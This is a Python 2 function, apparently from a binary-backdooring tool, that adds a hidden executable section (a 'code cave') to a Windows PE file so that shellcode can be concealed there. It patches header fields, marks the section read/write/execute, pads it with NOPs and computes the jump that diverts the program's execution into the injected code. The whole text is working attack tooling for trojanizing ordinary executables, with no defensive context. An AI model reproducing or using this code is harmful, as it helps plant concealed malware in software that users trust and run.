'This function creates a code cave for shellcode to hide,
takes in the dict from gather_file_info_win function and
writes to the file and returns flItms'

def create_code_cave(self):

    print '[*]    Creating    Code    Cave'
    self.flItms['NewSectionSize'] = (len(self.flItms['shellcode']) + 250)
    self.flItms['SectionName'] = self.NSECTION
    self.flItms['filesize'] = os.stat(self.flItms['filename']).st_size
    self.flItms['newSectionPointerToRawData'] = self.flItms['filesize']
    self.flItms['VirtualSize'] = int(str(self.flItms['NewSectionSize']), 16)
    self.flItms['SizeOfRawData'] = self.flItms['VirtualSize']
    self.flItms['NewSectionName'] = ('.' + self.flItms['SectionName'])
    self.flItms['newSectionFlags'] = int('e00000e0', 16)
    self.binary.seek((self.flItms['pe_header_location'] + 6), 0)
    self.binary.write(struct.pack('<H', (self.flItms['NumberOfSections'] + 1)))
    self.binary.seek(self.flItms['SizeOfImageLoc'], 0)
    self.flItms['NewSizeOfImage'] = (self.flItms['VirtualSize'] + self.flItms['SizeOfImage'])
    self.binary.write(struct.pack('<I', self.flItms['NewSizeOfImage']))
    self.binary.seek(self.flItms['BoundImportLocation'])
    if (self.flItms['BoundImportLOCinCode'] != 0):
        self.binary.write(struct.pack('<I', (self.flItms['BoundImportLOCinCode'] + 40)))
    self.binary.seek((self.flItms['BeginSections'] + (40 * self.flItms['NumberOfSections'])), 0)
    self.binary.write((self.flItms['NewSectionName'] + ('\x00' * (8 - len(self.flItms['NewSectionName'])))))
    self.binary.write(struct.pack('<I', self.flItms['VirtualSize']))
    self.binary.write(struct.pack('<I', self.flItms['SizeOfImage']))
    self.binary.write(struct.pack('<I', self.flItms['SizeOfRawData']))
    self.binary.write(struct.pack('<I', self.flItms['newSectionPointerToRawData']))
    if (self.VERBOSE is True):
        print 'New    Section    PointerToRawData'
        print self.flItms['newSectionPointerToRawData']
    self.binary.write(struct.pack('<I', 0))
    self.binary.write(struct.pack('<I', 0))
    self.binary.write(struct.pack('<I', 0))
    self.binary.write(struct.pack('<I', self.flItms['newSectionFlags']))
    self.binary.write(self.flItms['ImportTableALL'])
    self.binary.seek((self.flItms['filesize'] + 1), 0)
    nop = choice(intelCore.nops)
    if (nop > 144):
        self.binary.write((struct.pack('!H', nop) * (self.flItms['VirtualSize'] / 2)))
    else:
        self.binary.write((struct.pack('!B', nop) * self.flItms['VirtualSize']))
    self.flItms['CodeCaveVirtualAddress'] = (self.flItms['SizeOfImage'] + self.flItms['ImageBase'])
    self.flItms['buffer'] = int('200', 16)
    self.flItms['JMPtoCodeAddress'] = ((((self.flItms['CodeCaveVirtualAddress'] - self.flItms['PatchLocation']) - self.flItms['ImageBase']) - 5) + self.flItms['buffer'])
